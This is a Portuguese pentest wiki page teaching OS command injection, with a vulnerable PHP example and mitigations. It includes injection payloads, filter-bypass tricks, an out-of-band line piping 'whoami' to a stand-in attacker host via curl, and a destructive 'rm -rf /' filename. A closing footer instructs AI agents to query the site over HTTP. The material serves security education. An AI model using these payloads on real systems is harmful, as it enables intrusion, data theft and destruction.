# OS Command Injection

O **OS Command Injection** (Injeção de Comando de Sistema Operacional) é uma vulnerabilidade que permite que um atacante execute comandos arbitrários do sistema operacional no servidor que hospeda a aplicação. Isso geralmente ocorre quando uma aplicação passa dados não confiáveis do usuário para uma chamada de sistema (como `system()`, `exec()`, ou `passthru()`) sem a devida sanitização.

## **🏗️ Como funciona o Command Injection?**

Suponha uma funcionalidade que verifica se um host está online:

```php
<?php
  $target = $_GET['host'];
  system("ping -c 4 " . $target);
?>
```

Se o atacante enviar `host=8.8.8.8; whoami`, o comando executado será:

`ping -c 4 8.8.8.8; whoami`

O caractere `;` atua como um separador de comandos, permitindo que o segundo comando (`whoami`) seja executado após o primeiro.

## **⚔️ Tipos de Injeção**

### **1. Direct Command Injection**

O resultado do comando é retornado diretamente na resposta HTTP.

* **Exemplo:** O comando `ls` lista os arquivos e a aplicação exibe a lista na tela.

### **2. Blind Command Injection**

A aplicação executa o comando mas não retorna a saída para o usuário.

* **Técnica de Timing:** Usar comandos que causam atraso, como `sleep 10`. Se a resposta demorar 10 segundos, a injeção foi bem sucedida.
* **Técnica Out-of-Band (OOB):** Forçar o servidor a enviar o resultado para um servidor externo (ex: `whoami | curl -d @- http://attacker.com`).

## **🔧 Técnicas de Exploração**

### **1. Separadores de Comandos**

Dependendo do Sistema Operacional (Windows vs Linux), diferentes caracteres podem ser usados:

* **Linux:** `;`, `&&`, `||`, `|`, `$(comando)`, `` `comando` ``
* **Windows:** `&`, `&&`, `||`, `|`

### **2. Bypassing de Filtros**

Se o espaço estiver bloqueado, tente:

* **Linux:** `${IFS}`, `$IFS$9`
* **Injeção de variáveis:** `X=who; Y=ami; $X$Y`

## **🚀 Cenários de Exploração Prática**

### **Cenário A: Upload de Arquivo com Processamento de Imagem**

Uma aplicação usa a ferramenta `ImageMagick` via linha de comando para redimensionar imagens. O atacante envia um nome de arquivo malicioso como: `image.jpg; rm -rf /`.

### **Cenário B: Aplicação de Monitoramento de Rede**

Muitas ferramentas de administração legadas permitem "pingar", "traçar rota" ou "consultar DNS" via web. Se não houver validação rigorosa do input, o atacante pode escalar para um shell reverso.

## **🔍 Detecção e Ferramentas**

### **1. Burp Suite Professional**

O Active Scan é extremamente eficaz em detectar Blind Command Injection usando técnicas de latência (sleep/ping).

### **2. Commix**

Ferramenta dedicada para automatizar a detecção e exploração de falhas de injeção de comando.

```bash
python commix.py --url="http://target.com/ping?host=INJECT_HERE"
```

## **🛡️ Mitigação e Prevenção**

### **1. Evitar Chamadas de Sistema (A Defesa Principal)**

Nunca use funções que executam comandos de shell se houver uma API nativa da linguagem disponível.

* **Errado:** `system("rm " . $file)`
* **Certo:** `unlink($file)` em PHP.

### **2. Validação via Lista Branca (Allowlist)**

Se você precisa aceitar entradas, valide contra uma lista rigorosa de caracteres permitidos (ex: apenas números e pontos para um IP).

### **3. Escapar Argumentos de Shell**

Se for absolutamente necessário usar o shell, use funções específicas para escapar argumentos:

* PHP: `escapeshellarg()`
* Python: `shlex.quote()`

{% hint style="danger" %}
O Command Injection é uma das falhas mais críticas (Impacto 10/10), pois concede ao atacante o mesmo nível de acesso que o usuário que roda o servidor web, permitindo pivoteamento para a rede interna e roubo total de dados.
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/back-end/os-command-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
